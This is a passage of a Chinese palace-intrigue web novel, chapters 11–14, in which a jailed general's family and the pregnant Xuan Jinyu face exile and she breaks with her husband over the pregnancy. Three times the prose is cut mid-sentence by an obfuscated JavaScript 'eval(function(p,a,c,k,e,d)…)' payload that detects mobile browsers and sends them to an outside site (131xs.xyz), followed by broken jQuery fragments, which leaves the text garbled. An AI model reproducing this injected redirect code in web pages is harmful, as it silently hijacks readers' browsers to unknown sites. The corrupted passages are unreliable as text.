宣兆转过头时正和苏二婶的目光对上,语气有些抱歉。 苏二婶朝他微微福了福身,她两个儿媳也照做。 苏二叔失踪的消息,就连苏家也是昨日才收到。漠北地广,且此时前线战时正胶着,情况复杂,除了苏家人,其余人去找寻,莫说才过了一日,只怕再过一月也未必能够有消息传回来。 苏二叔微微颔首,没有在意她们靠近牢门的动作,转头继续面对女儿女婿,并加大了音量,“通敌叛国这个罪名还是太重了,一个处置不佳,有伤国本。” 考虑到宣槿妤从未接触过朝堂之事,他解释得十分清晰,“主张阖家抄斩的多是与宣家林家不合的一派,梁尚书今日未曾表态,但我观他也有了这个主张的倾向。” 梁尚书,不就是昨日和他们谈崩了的梁方方,刑部尚书? 她昨日那样挑衅新帝,也间接和梁方方结了梁子。 若他也主张给苏家定死刑,那还身在牢中的他们……他还会接受外头人的打点吗? 宣槿妤顿时心里生出一阵悔意来。 她紧张地握紧了苏琯璋的手,被他用大拇指轻轻地抚过手背,心里才慢慢安定下来。 11. 第 11 章 宣兆继续说道:“武官大多数反对这个罪名,道是人还未找到,罪证不足。且战场形势变化又快,一场败仗并不能说明什么。” 苏家二叔还不知是战死沙场还是失踪逃去敌国,就凭他失去踪迹这件事来告苏家通敌叛国,实在可笑至极。 什么证据都没拿得出来,嘴皮子上下一碰,就要给代代捍卫国土、血洒疆土的忠烈之家定罪,这是认为边疆虎视眈眈的邻国都不存在了么? 苏二叔一失踪,连找人的机会都不给,直接将苏家三位少将军捉拿回京了。 新帝怕是选择性忽略了,若非他们自愿配合,就凭他掩藏在军中的那几个人,能在军中抓人?恐是要被苏家军撕成碎片。 他有想过么?如今漠北前线又是谁在支撑着?苏家军能将颇多,但若苏家上下尽诛,他们能善罢甘休? “听闻苏大哥在被捉拿回京前已经对战事有过安排,眼下前线还能再撑一撑。”宣兆看向苏琯璋。 苏大哥苏琯煜是苏琯璋一母同胞的兄长,也是苏国公府世子。若非苏家出事,日后苏家军便是要交到他手中的。 苏琯璋微微颔首,“大哥被卸甲前有信传回。” 临阵换将乃兵家大忌,二叔本是主将,他失踪后该由身为副将的苏家三位少将军掌管军事。 但新帝一心想置苏家于死地,战事正酣时就将副将全数拿下。大哥二哥三哥只能交代好新的副将,叮嘱他们派人搜寻二叔的踪迹,战线就全数托付给他们了。 “嗯,这点陛下倒是没提。”宣兆若有所思,“传信回来的时候说吃了一次败仗,但伤亡都在可控范围内,更没丢失城池。苏家军这次无功但过错也并不大。” “弹劾军情的人里边没有武官。”他特意提到这一点。 有文官拿苏家此次打了败仗说事,说他们是故意输的,皆被喷了个狗血淋头。即便是新帝那边的武将,也对这样的话极为反感。 说白了,若是武将在外打了一次败仗,回来就要被人说是故意的,身家性命都可能不保。日后还有哪个武将敢拿着人头在战场上拼?打赢了可能死,打输了必须死,哪有这样的道理? 宣兆左右看了一眼,见通道那侧安安静静的,便压低了声音,“陛下是一定要拿到苏家兵权的,方才你父亲也说了有此准备。” 宣槿妤手一颤,鼻子有些酸。 “陛下今日动了大怒,你外祖父担心他不管不顾,非要将苏家置于死地。”宣兆见女儿脸色发白,忙将话说完,“没事的,你外祖父以金腰带换回了苏家生路。” 今日早朝吵得实在太凶,闹得太狠,将原本的早朝生生延迟到午后还不能散。最后还是工部年逾七十的老尚书熬不住晕倒险些磕伤头,才被迫结束了朝会。 一众朝臣饥肠辘辘,站得腰膝酸痛,喉咙更是干涩发痛。 他送岳父林韧回太傅府时被他留下用了午膳,之后便回了户部,傍晚时分他下值时便被他吩咐来了这牢里。 担心女儿多思,这些宣兆只在脑中回忆了一遍,并未出口。 “岳父,那金腰带……”苏琯璋心中隐隐的不安在加大,不由出口询问。 “金腰带被陛下收走了。”宣兆回。 苏琯璋听得心中发沉,新帝竟是连装都不愿意装一下,直接收走了林家的保身御赐之物。 想来,新帝这回是定要发一回疯了。只怕林家,也要成了他的眼中钉…… 他又看向宣槿妤,与她交握的手指慢慢收紧。 宣槿妤毫无所觉,只问:“那他要怎么处置苏家?” 悬在头顶的利剑随时可能落下,虽说已经确信不会要了他们的性命,但它若是要穿过哪里,让人痛不欲生,也十分有可能。 相信新帝很是乐意折磨他们一番。宣槿妤这样确信着,记起了昨日他让人给她和苏琯璋带来的羞辱。 “皇上提出流放漠北,你外祖父拒绝了,道是明日朝会上再商议。”宣兆回答。 他记起林韧走前似是对他说,又像是自言自语的几句话。 “帝位稳了,他在我面前越发不遮掩了。即正殿中的碎瓷片也放着无人清扫,看来苏家这根刺他非拔不可。也是,连最基本的案件审理连装都不装一下,就要直接略过给人定罪。这皇权啊……” “槿妤,”宣兆看了一眼小夫妻交握的双手,有些犹豫,“爹爹明日会争取让你回家养胎。” 这刑部死牢虽不似其余牢房一般湿气深重,但久不见光,也未得自由,她胎还未坐稳,实在不宜再待下去。 苏琯璋心思一动。 宣槿妤下意识看向与自己并肩而立的人,却见他朝父亲微微点头,心里顿时不知是什么滋味。她好像有点不开心,但又不知道为什么不开心;像是释然,但又大不像。 “爹爹问你一句,你须得如实回答。” “爹爹你说。”宣槿妤再无探究心底想法的心思,忙道。 宣兆紧紧盯着女儿的眼睛,“若是皇上要求你堕胎归家,可以不入宫,你答不答应?” 他看得出来,若是女儿留在京中,她腹中胎儿定是不保。新帝是那种不将眼中钉拔出是绝不会罢休的人。 “我不答应。”宣槿妤收回握在栏杆处的手,紧紧护在小腹前。 苏琯璋慢慢松开二人交握的手,将她身子转向自己,“槿妤,我们势必会被流放,但你可以归家。这孩子……” 宣槿妤听得面色发白,双手颤抖着,再也听不下去。心里在撕裂般地抽痛着,不知是为了这个孩子,还是为了她自己。 “啪”的一声,将所有人的视线都吸引了过来。 就连安安静静的通道处,也鬼鬼祟祟地探出一个黑乎乎的头来。 苏琯璋是冷白的肤色,宣槿妤用尽全身气力的一巴掌,让他脸上迅速浮起红色的掌印,十分显眼。 “苏琯璋,你……”宣槿妤失了气力,身子发软,所有愤怒指责的话堵在喉间说不出口,堵得她呛出了眼泪。 苏琯璋忙揽住她,便见宣槿妤挣扎着捏紧他的衣袖,朦胧的泪眼和他对视, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15762888|174460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一字一句说得艰难却毫不迟疑,“你不配做它的父亲。” 苏琯璋眼神迅速黯淡无光,脸上也失去血色,什么话也说不出来。 许玉娘站在铁栅栏边,欲言又止。苏老夫人冲她摇了摇头,她便叹息着揽住怀中的孙女苏玉彤,摸了摸她的头。 宣兆原见女儿要倒下,眼神一变,只恨这铁栅栏挡住了他的去路。等到苏琯璋牢牢将她抱入怀中,才松了口气。 身为父亲,他其实认同苏琯璋的说法。 只要没了这个孩子,他就有办法将女儿接回家,不必让她经受流放之苦。她若不愿入宫,拼宣家和林家之力,也能护她周全。 但他看着泪如雨下的宣槿妤,劝说的话便再也说不出来。 宣槿妤尽情地哭了一场,哭声回荡在死牢里。 七个孩子缩在大人怀里,一句话也不敢说。以往小婶婶也不是没哭过,但不像今日这般让人听了心里都在发痛。 良久,等到哭声终于停止,彤姐儿才小声嘟哝道:“小叔叔今天真讨厌。”她往日最喜欢小叔叔了,但今日他害小婶婶哭得这么伤心,就先不喜欢他了。 许玉娘拍了拍孙女的背,轻轻的。 苏琯璋一直沉默着,但手上的动作一直没停——他在替宣槿妤顺气。 “对不起。”等宣槿妤哭声停歇,他也说不明白自己是否后悔方才的那番话,但他第一时间就道了歉。 他挣扎的未来里有她,他很开心。 但他明知道她可以走一条安稳的路,不必随他受苦,他便无法视而不见。 流放之苦壮年男子都难以承受,何况被娇养长大的她,尤其她是在还有了身孕的情况下。 到时她情况有多危险,身子有多难受,她不明白,他会医术,难道不明白吗? “如果你要继续劝我,就不要再说了。”宣槿妤喝下他端来的温水,语气十分冷淡。 “槿妤……” “苏琯璋,我恨你。”她慢慢地,一字一句地将这句话说出来,“别逼我更恨你。” 她素来明亮的眸中此时尽是冷淡,她和这个男人,已经无话可说。 苏琯璋握紧手中茶盏,静静地看着她,果真没再说话。 让她归家日后再嫁他人,他已经难以承受。她的那个“恨”字,更是像一把尖锐的利刃,将他的心翻搅得鲜血淋漓。 他颤抖着手想将茶盏放回小方桌上,却没放稳,“乒乓”一声,茶盏弹到一旁的铜壶上,又被反弹回来。 他手忙脚乱地出手接住即将掉落的茶盏,却险些碰倒铜壶,又是“哐”的一声响。 许玉娘别开了头,不忍心看着儿子这样失魂落魄的模样。 她平日里再是对这个不苟言笑的儿子不满,喜欢怼他,喜欢打他,喜欢看他变了脸色的样子。但更不喜欢看他这般让人看了心碎的模样。 宣槿妤心口微疼,她忙将头埋在膝上,咬住了唇。 宣兆看得十分不忍,开口打破了僵局,“好了,我们继续说事。” 12. 第 12 章 宣兆今日朝会上站了半天,双腿本就还未恢复过来,现下觉着有些累,便撩起袍角慢慢蹲了下来,视线和看过来的女儿女婿平齐。 牢房里有两张矮凳,宣槿妤坐着一张,苏琯璋只是跪坐在干草上,还空出来一张。 宣槿妤比划了一下两根栏杆之间的距离,放弃将矮凳递出去的想法。 这时,苏琯璋已经起身,将整理好的干草从缝隙里塞了出去。 “岳父垫着坐会好受些。”他轻声说道,嗓音是过度压抑后的微微沙哑。 宣兆也不在意是否会弄脏衣裳,直接坐了下来,“梁尚书过于小气了些,都放我进来了,连开个门都不愿意。” 他的抱怨里带着微微的揶揄,让方才过度紧绷的气氛慢慢和缓。 “不过你们放心,他那人就是和我不对付,不至于牵连到你们身上。” 顿了顿,他说起正事。 “槿妤会跟你一起流放,”宣兆将手伸进牢中,摸了摸女儿的头,“琯璋,你来定流放之地,我们明日会争取主动权。” 苏琯璋朝斜对面的牢房望去,那里,关押着他的父亲苏声。 宣兆勉强笑了笑,“你父亲让你做决定。”他刚刚和苏国公谈的,便是这件事。 苏琯璋脑中快速铺开大盛的疆域图。 沉思片刻,他开口,“通敌叛国之罪,若不入死刑,便是流放三千里的刑罚。” 他语气微凉,说到“通敌叛国”几个字的时候,声音里尽是嘲讽。 “在打点妥当的情况下,依槿妤的身子,大致需要走上一年,期间需要停下生产,和坐月子。” 他的声音有些紧绷,又看了一眼宣槿妤,“槿妤身子会越来越重,越往后行路越不便。” “北地多平原,南方多丘陵,往北走前边几个月会好过一点。但冬季时寒可彻骨,尤其槿妤会在冬日生产。我觉着不妥。” 宣槿妤察觉到他的目光一直放在自己身上,身子微微紧绷,一颗心像是泡在苦水里,苦得她想哭。 “我想往南走,这样十月十一月槿妤生产的时候不会太难熬。” 宣兆若有所思,“往南走可以,但六七八月暑气重,南边水湿,得当心些。”他有些犹豫,“我们都是北人,身子更适应北边的气候,南边……” “暑湿难熬,但凛冬更难熬。”隔壁牢房一直旁听的苏老夫人蓦地插话,将苏琯璋方才的话又提了一遍。 小儿难养,尤其是刚出生的婴孩,一个照顾不当,轻则染风寒重则夭折。 若是往北走,槿妤怀着身子不易,寒冬腊月里生产更是艰难。 她年轻时冬月里生过一个姑娘,但当时漠北战事兴起,稳婆赶来时晚了些许,她险些撑不过去。最后挣扎着生下的孩子,不到三天就没了气息。不然苏声他们兄弟还会多个妹妹。 忆起往事,苏老夫人多了一分惆怅,苏玉彤见曾祖母不开心,十分懂事地抱了抱她。 宣兆冲老夫人微微点头,终究同意了苏琯璋的提议。 “南岭的同怀县四季如春,最好将流放地定在那里。”苏琯璋道,“若是不行,淮招县次之,闵安县、同吴县、招南县最次之。” 宣兆回忆着这些地方的气候,不住地点头,“可以。但招南县过于偏僻了些,怕是路上不好走。” “是。”苏琯璋认同,“我知道一条路,虽绕远了些,但地势会平坦许多。” “时间不是问题,外祖父已经将槿妤有孕的消息传了出去。” 宣兆目光发冷,“他们也不敢阻止我们派人跟着看顾。将有孕的妇人流放已经足够不人道,若朝臣不想惹来百姓更多的非议,便不会在意这些细枝末节。” 宣槿妤认真地听着父亲和苏琯璋商议他们的流放之地,好让她最后生产时更好受些。 她鼻子又开始泛酸,忙眨了眨眼。 “你们人多,朝廷押送的人也会增加,尤其你们还多数会武。” 为官多年,又是世家家主,谨防流放的犯人逃跑,该用什么手段宣兆十分清楚,但他不会让人将那些用在他女儿及苏家人身上。 自古皇权与朝臣互相抗衡,各自皆掌握着对方的把柄;若非性命攸关,皆不会轻举妄动。 新帝得位不正,自以为皇位已稳,但他当是想不到,已故的先帝还藏着皇家秘事——他想要与朝臣抗衡,想与传承数百年的世家抗衡,还是过于天真了些。 宣兆收敛心神,“外祖父会派人跟着你们,你三哥哥我也重新去了信,让他转道跟着你们一起。”他慈爱地看着宣槿妤。 像是苦水中又被加入了酸水甜水,宣槿妤一颗心又酸又涩又苦,而后有微微的甜意笼罩其上,她从未体会过这样复杂的滋味。 但家人的关爱让她动容,宣槿妤眼泪再也忍不住,簌簌往下落,她忙将头埋进双膝间。 宣兆又摸了摸她的头。 苏琯璋瞧宣槿妤这般,心里滋味也难言,但他什么也不敢做,什么也不敢说。 那句“苏琯璋,我恨你”,像是对他施加了什么咒术,让他再也动弹不得。 通道里狱卒的脚步声远去。 苏琯璋目光微凛,他看着宣兆,“苏家暗卫没有被控制,”他声音压得低沉,“他们也会暗中跟着。” 只是不到万不得已的地步,苏家暗卫断不会出现,以免被皇帝再安上什么莫须有的罪名。 “有文晟就够了。”宣兆说,顿了顿,他看向通道方向摇曳的火把,声音发冷,“你们这一去,路上不知有多少双眼睛盯着。他若想动手,还得掂量些。” …… “三哥哥若是跟着我们,要至少一年不得回京,那三嫂嫂和秩哥儿怎么办?”宣兆走前,已经平复好情绪的宣槿妤这样问他。 三哥哥宣文晟是她一母同胞的次兄,出身世家大族却不爱官场之事,十八岁下场得了举人的功名后便弃文从商。 他自幼聪敏,一介书生转道经商,没有依靠家族,只身一人便打拼出了一份不菲的家业。 而三嫂嫂方沅沅,出自安西府书香世家方家。是三哥哥弱冠那年从盗匪手中救下的。 三哥哥亲自护送佳人回了家,并派人快马加鞭将书信传回盛京,请求母亲为他上门提亲。如今二人喜结良缘,如今他们的长子秩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15762889|174460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哥儿才刚满两岁。 两人一见钟情,又兼有英雄救美的情谊在,且门当户对。婚后三嫂嫂和三哥哥感情极好,三哥哥外出经商时也带着幼子跟随。 但流放迥异于他们平日里游山玩水性质的从商路,宣槿妤抿住了唇——若是三哥哥送她,那三嫂嫂和侄儿秩哥儿只能留在家中。 见宣兆回头却未说话,宣槿妤又道:“秩哥儿还小,离不得父亲。” 宣兆眸光温和,“无妨,若是你三哥哥站在这里,他也会主动要求跟去的。” “你三嫂嫂那里,你母亲会去和她说。她素来疼惜你这个小姑子,不会怨你的。”若真要怪罪,也只会怨他这个公爹。“别想太多,心里也别有负担,嗯?” 宣槿妤知晓父亲的脾性,他一旦决定好的事情,便少有能让他改变主意的时候。她只得点了点头,应了。 宣兆不舍地看着女儿,时辰不早,他要走了。“若非你大哥哥有差事在身离不得盛京,你两个哥哥都要跟着去的。” 宣槿妤到底是被他们自幼捧在掌心的姑娘,她被迫跟着苏家人去流放他们已经够心疼,再不好生看顾些,若出些差池,让他们怎么受得了? 翌日早朝。 昨日林太傅入宫,以先帝御赐的金腰带换回苏家人一条生路的消息已经朝野皆知。 苏家一系的武将也放弃了昨日坚持要求查清事实还苏家人一个清白的说法,一看便知是有人和他们通过气了。 而这个人是谁……端坐龙椅的盛誉冰冷的目光流连在立在朝臣队列最前的林太傅。 “苏家通敌叛国,得林太傅以金腰带相护,改三族死刑为嫡系阖家流放。”他居高临下地俯视着神情各异的臣子们,“各位爱卿还有何话可说?” 队伍左列的林太傅不动,他身后的文官们也没动。 武将们屏息,等待着什么人先出声。 很快,右列的宣兆走了出来。 “陛下,臣那可怜的女儿有了身孕,还未满三月。”宣兆跪下,“还请陛下恩准,让她归家将养身子,待坐稳了胎再随苏家人流放。” 昨日他在死牢里待了将近一个时辰,又到太傅府走了一趟,直到夜色深沉了才回家。 昨夜商定之事,他定要将其妥善做好。 宣兆话音刚落,人群中便有了骚动。 宣兆这厮的女儿,不就是当初抗旨拒婚的那位吗?听说她宁愿和苏琯璋一起赴死,也不愿堕胎入宫为妃。还说…… 朝堂上有知晓死牢之事的朝臣眼皮一跳,偷偷地往上望,想看盛誉的神情。 但龙椅太高,他们又不敢直直抬头相望,自是什么也看不清。只得在心里感叹,宣家姑娘果真是被两家宠坏了,居然连“我若要嫁他,当年便不会抗旨拒婚”这样的话也敢说出口。 帝王的面皮子,经得住她几回踩? 看到同僚们的眼神官司,刑部尚书梁方方自是明白死牢的一番谈话已经被人传了出去,心中暗自叫苦不迭。 当日死牢里除了林太傅、他和当时在场的苏家人,就没有旁人,消息怎么传出去的? 林太傅害我!!! 13. 第 13 章 “宣尚书的请求朕允了。”盛誉素来清朗的嗓音里带着微不可察的一丝阴鸷,“朕待要将苏家人流放至广虚府,诸卿可有异议?” 广虚府? 梁方方心里一动,暗中瞥了一眼前头的林韧。 广虚府那等瘴气横生、民不聊生的地方,除了那里穷困潦倒的少数原住民因无法离开而代代挣扎求生,剩下的都是大盛建朝后这数百年间流放过去的犯人,算起来偌大的地方百姓加起来都不足千人。 那里是连最恶贯满盈的盗匪都不愿意路过的地方,新帝竟要将苏家人流放到那里? 是因为宣家姑娘说的那句话,彻底惹怒了上头这位了吗? 他暗自思量着,自古被流放至广虚府的人不是在半途就经受不住路途辛苦失了性命,就是奄奄一息到了广虚府却遭瘴气入体暴毙而亡。 宣家姑娘自幼娇生惯养,还怀着孩子,即便路上再怎么有人照应活着生下孩子,到了广虚府怕也是十死一生。 帝王果真无情,放在心上的姑娘不愿遂了他的心意,便要送她去死。 梁方方瞧着林太傅的背影,心底叹息,白发人送黑发人,真是可怜。想着,他心里那一瞬便有些软,太傅暗中坑害自己的事,不如就这么算了罢? 这厢刑部尚书在兀自思量暗中唏嘘,满殿的寂静中,林太傅率先跪下,“陛下圣明。”附议了新帝将流放之地定为广虚府的事。 林韧这一跪,他身后便跟着跪了一片。 余下仍在站着的文臣武官乃是少数,面面相觑片刻,也跟着跪了下去,口呼“陛下圣明”。 罢了。 纵是他们觉着流放至那等民不聊生之地不妥,但左右苏、宣、林家这三家皆与他们无甚干系,这么多人都应了,何必当这个出头鸟。 最重要的是,先于他们跪下的可都是这三家一系的朝臣,这些人都不急,他们又急什么? 再者。 有人又想起了昨日吵闹不休的朝会,看着队伍里原属于工部尚书但此时空着的位置,他们此时仍心有戚戚。 工部尚书年逾古稀,昨日那一晕一摔,虽然及时被身边的侍郎搀扶起来没有摔到头,但老人家又是累饿交加,又是情绪起伏,昨夜已有消息传出工部尚书府怕是要办白事了。 纵是心里已经思绪万千,众臣垂着头,恭敬地迎合着帝王,个个面上不露声色。 盛誉将底下情状看得分明,心里憋闷,捏紧了手中的玉扳指。 昨日傍晚林太傅建议苏家人的流放之地由朝臣商议,但他将了他一军,自己便将地点定好了。 原以为在这老狐狸手中扳回一城,能展帝王之威,却不想他居然应承得这般快。难不成,流放之地也在他们的预料之中?他们已有应对之策? 心底有郁气上涌,盛誉沉默了好一会儿。 跪着的朝臣们迟迟不闻帝王叫起之声,便知此时帝王心情不佳,一时殿里落针可闻。 侍立在侧的宫女和太监屏住了呼吸,生怕一个不慎,给自己招来祸端。 即便是服侍盛誉多年的吴太监,经历过昨日之事,此时也不敢托大——毕竟他在皇帝心里,怕是和普通的宫女太监也没什么分别。 盛誉冷冷地盯着林太傅,良久,才缓缓吐出浊气,“众卿平身。” 等朝臣皆站好,他慢声道:“有事启奏,无事退朝。” 吴太监高声将皇帝的话复述一遍。 左右两列朝臣互相看了一眼,太府寺卿便出列跪下,“陛下,臣有要事请奏。” …… 宣兆稳稳站在队列之中,面上一派沉静,其实早已心不在焉,太府寺卿说了什么他半个字都没听进去——他还是第一次,在早朝上出神。 他想的还是方才之事。 果真是流放至广虚府。 没人知道,从新帝口中听到这个地名,他心里紧绷的一口气霎时便散了,心底微松。 被苏琯璋猜中了。 昨夜他要走前苏琯璋叫住他,说未必是流放三千里。新帝定是想让他们死在外面,很有可能会让他们去更南的地方,譬如瘴气横行的广虚府。 不过没关系,只要离开京城,等到宣槿妤生了,苏家人尤其苏琯璋的顾忌便小了很多。 “流放之地定在哪里都行,只要在十月,孩子满了九个月之后,我们一行人走到前边商定过的几个县便好。”苏琯璋说。 都说怀胎十月,槿妤身子若是满了九个月,便不宜再上路,须得找个地方安顿下来待产。且孩子不是没有提前出生的可能,他们还需早做准备。 广虚府在淮招县更南边的地方,按他们脚程推算,等到了十月要停下来的时候,他们恰好在淮招县。 十月、十一月虽从四季划分上归于冬季,但从淮招县的气候来看,其实算是夏末。 而且那时淮招县也不似北边南地的夏季般,要么酷热难耐,要么暑湿难捱,反而清润温凉,这样的天气正合适槿妤生产、坐月子。 宣兆正想着,上首之人叫了他,“宣尚书,今日,你便带令嫒归家罢!” 出神时被点名,他身子本能地一僵,很快放松下来,听完新帝的话,便恭敬行礼,“谢陛下恩典!” 散朝之后,宣兆仍需当值不能归家,他便差了人给林清婉递信,让她去将女儿接回家中。同时他去找了长子宣文威,“你先告个假,陪你娘去刑部接妹妹回家,小心些别让她磕碰到了。” 宣文威知道妹妹有了身孕,郑重点头,“父亲放心,我会将妹妹好好带回家的。” 刑部死牢。 通道中滚轮声又起,宣槿妤朝那头看去,便见常在那里守着他们的狱卒推着小车走来,将火把一一换下。 这是今日第三次换火把了。 现下当是未时了,时间过得好慢。 宣槿妤有些心不在焉地听着彤姐儿给她编的故事。 自昨日苏琯璋透露出不要她腹中孩子的意思,她便和他决裂了,不和他说话,不许他碰他。就连偶尔视线不小心碰上,她也会很快转开。 窄小的仅有他们二人的牢房里,两颗心却似是咫尺天涯。 昨夜,宣槿妤睡的床,盖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15762890|174460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着软被,而苏琯璋则是在围帘外头的干草上草草歇下,仅脱了外袍用以遮身。 三月的天已经很暖和了,苏琯璋又是个不畏冷的,当是冻不着。但她依旧心烦气躁,背对着帘子,翻来覆去,久久未能入眠。 她想狠下心,却发觉自己仍在心软。想着幼时到庄子上陪伴夫子,她常对自己说的话“先爱上的人注定要伤得更重”,她便越发唾弃自己。 宣槿妤,你可真是没出息透了。她睁着眼,轻轻抚摸着依旧平坦的小腹,泪水沾湿了枕巾。 天明时她仍未睡够,只强打精神起身洗漱用了膳。白日时间漫长,在这方寸之地,她不知道自己该做些什么。 苏琯璋往日里还会有寥寥数语,今日连一个字都没说出口。 宣槿妤越发烦闷。 苏老夫人、许玉娘、许萱娘和苏玉彤所在的牢房是和他们距离最近的,也是最方便说话的。 看出夫妻二人之间犹如冰封的关系,三个大人带着乖巧伶俐的彤姐儿,和她坐了一上午。 宣槿妤恹恹的,提不起精神来,但老夫人、婆母和大嫂嫂说的不是孕中的注意事项,就是孕中趣事,总算让她有一搭没一搭地听进去了。 至于苏琯璋,整个上午都很识趣地当一个透明人,不来烦她,却总在她需要的时候递上温水或温热的帕子。 她深深吐出一口气,真想不管不顾地将这个男人臭骂一顿,最好找人打他一顿。总好过让她现下心里不上不下的,一口气总也理不顺。 “也到了午睡的时辰了。” 苏老夫人知道昨夜宣槿妤睡得不好,有心让她去休息,便将彤姐儿揽进怀里,摸了摸她的头,“你的故事下回再讲给小婶婶听好不好?小婶婶腹中还有弟弟或妹妹,她很累了,让她去睡,嗯?” 彤姐儿乖乖地点了头,还对宣槿妤说道:“小婶婶,我等你睡醒了再和你说故事噢!” 宣槿妤面对她,脸色不禁放柔,“好,小婶婶等着彤姐儿再说故事。” “拉钩。”她伸手到对面牢房,勾起了小孩子的右手尾指。 彤姐儿被逗得“哈哈”笑着,扑在曾祖母怀里蹭了又蹭。 正这时,宣槿妤还未起身,狱卒领着林清婉和宣文威来了。 “槿妤。” “妹妹。” 宣槿妤慢慢站起来,“娘,大哥哥。” 林清婉、宣文威简单和苏家人见过礼,林清婉看着隔日相见却憔悴了许多的女婿苏琯璋道:“陛下答应让槿妤归家养胎,待坐稳胎了再随你们上路。” “槿妤,娘接你回家。”昨夜宣兆回府歇下时和她说了牢中女儿女婿决裂的事,她忍着不再去看苏琯璋,只柔声叫着女儿。 苏琯璋是为女儿考虑不错,但他罔顾女儿心思惹她伤心,她便也有了迁怒的心思。 总归无论女儿如何选择,她是无条件支持的,即便她知道女儿选的是一条十分辛苦且危险的道路。 狱卒打开了牢门,让宣槿妤走了出去。 铁链、铁索和铁栅栏之间互相碰撞,发出刺耳的声音。 14. 第 14 章 宣槿妤眼睁睁看着狱卒又锁上了牢门。 她慢慢抬起头,正和苏琯璋沉默地看着她的目光对上,双手不由得护在腹前。 她下意识的动作深深刺痛了苏琯璋的眼,心口也疼痛难忍,仿佛有利刃穿胸而过。 “槿妤,对不起。”千言万语,他也只能说出这句话来。 他昨夜一夜未眠,听着宣槿妤辗转反侧,想起当年匆匆一瞥,她便入了心。想起她嫁给自己之后的种种,再想起她的那句“苏琯璋,我恨你”。 反反复复,甜蜜痛苦交织。天快明时,有一道白光闪过他的脑海。 他突然意识到,他是真的做错了,不该罔顾她的意愿,纵然是为了她好。何况那也是他的孩子,他又何曾舍得。 成婚三年,他也没有当好她的夫君。 他总以为对她百依百顺便已足够,却不想她要的不仅仅是这个。 “对不起,我错了。”苏琯璋眼中有水光闪过,直视着宣槿妤的双眼。 宣槿妤眼眶一热,转过头,“娘,我们回家。”她将头靠在林清婉肩上,其余人都瞧见了她泛红的眼圈,她却固执地不想给苏琯璋看到。 她在他面前,已经袒露了太多的软弱。 “祖母、母亲,大嫂嫂……”宣槿妤眼中的泪意被她忍了回去,声音不复往日清甜,多了一分涩意。 她环视一圈,一个人一个人地叫过去,孩子们也没有落下,唯独没有唤苏琯璋。“孩子满三月之后我就和你们一起出发,得委屈你们在这里等我一段时日。” 她慢慢地行了一礼。 七个孩子被她惊得忙避开身子,冲她还礼;三位嫂嫂匆忙间受了半礼,也忙回了礼。 只有苏国公、老夫人、许玉娘和苏二婶四人受了礼,冲她微微颔首,随即却不赞同地看着她。 苏老夫人开口道:“槿妤你太客气了。我们是一家人,不需要计较这些。”老人家很慈和地看着她,微微叹息,“若真要计较,槿妤,不是我们在等你,而是你受了我们牵连。” 宣槿妤微微摇了摇头。 林清婉站在牢门前,拉着苏老夫人的手,“老太太莫生分,槿妤既嫁入了苏家,便和你们是一家人。这孩子就是心里过意不去。” “我们瞧着槿妤在这里心里也过意不去。”苏老夫人回握林清婉,“罢了,再说就真要生分了。” 她微笑着,“快带槿妤回家吧,她有了身子,这里一刻也不适合多待。” 见林清婉点头,苏老夫人又看向宣槿妤,“你在家好好养胎,这里你不必担心。” 母子三人走前,苏声道了句:“只要孩子安稳,在家待多久都没关系。”他这句话颇有些意味深长。 宣文威第一时间便听懂了。 他看向妹妹,见她愣了下,便知她也听懂了。一时失笑,妹妹这一会儿聪明,一会儿不聪明的,也不知道是何缘故。 难不成,真应了外祖父说的那句话,她就是懒得动脑筋? 宣槿妤没有应和苏声的话,只道:“父亲,我坐稳了胎便和你们一齐出发。” 确实,她也听懂了公爹说的话。 他的言外之意是,她可以在家一直待着,甚至可以待到生下孩子,坐完月子。 日子再长些,她也可以说孩子有个头疼脑热,延长在家的时间。 宣槿妤走出通道前,咬紧了下唇。 她不会那么做的。 她在家多待一天,苏家人就得在这死牢里多待一天,也便会多一分危险。 便是不为腹中孩子的父亲,她也得为视她如亲人的苏家人着想。 林清婉对女儿的心思一向敏感,将她揽住,慢慢朝牢门外走,直到临上马车时才松开她。 “无妨,你心里怎么想就怎么去做,娘永远支持你。” 上了马车,林清婉将宣槿妤揽在怀中,像她幼时做了噩梦跑来找她安慰时那样,一手抚摸着她柔顺的长发,一手轻轻拍着她的后背。 宣槿妤“嗯”了一声,将头埋在娘亲熟悉温暖的肩头,眼中的泪却慢慢洇湿了她的衣裳。 宣槿妤回家第一日,林清婉便请了府医来为她看诊。 府医细细把着脉,末了起身说道:“小姐无碍,孩子也很好。” 他一番话定了内室里所有人的心。 林清婉替女儿将方才挽起的衣袖拉下来,拍了拍她的手,“安心些,回了家便好好养着,嗯?” 